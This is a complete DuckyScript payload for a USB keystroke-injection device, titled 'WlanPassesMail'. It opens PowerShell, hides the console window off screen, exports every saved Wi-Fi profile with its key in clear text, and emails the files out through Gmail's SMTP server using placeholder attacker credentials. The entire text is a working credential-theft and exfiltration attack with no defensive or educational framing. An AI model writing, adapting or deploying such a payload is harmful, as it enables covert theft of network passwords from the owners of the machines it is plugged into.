﻿REM Title: WlanPassesMail
REM Description: Saves Wlan Passwords and sends them by Mail
DEFAULTDELAY 50
DELAY 2000
GUI r
DELAY 200
STRING powershell
ENTER
DELAY 1000
STRING [console]::WindowHeight=1; [console]::WindowWidth=1
ENTER
ALT SPACE
STRING v
LEFT
REPEAT 30
ENTER
STRING md "wlan"; netsh wlan export profile key=clear folder="wlan"; $smtps = "smtp.gmail.com"; $msg = new-object Net.Mail.MailMessage; $smtp = new-object Net.Mail.SmtpClient($smtps); $smtp.EnableSsl = $true; $smtp.Port = 587; $smtp.Credentials = New-Object System.Net.NetworkCredential("YOUR_USERNAME_HERE", "YOUR_PASSWORD_HERE"); $msg.From = "YOUR_MAIL_HERE"; $msg.To.Add("YOUR_MAIL_HERE"); $msg.Subject = "RubberDucky"; $msg.Body = "RD WLAN passes"; $files=Get-ChildItem "wlan"; Foreach($file in $files) {$att = New-Object System.Net.Mail.Attachment -ArgumentList wlan\$file; $msg.Attachments.Add($att)}; $smtp.Send($msg); exit
ENTER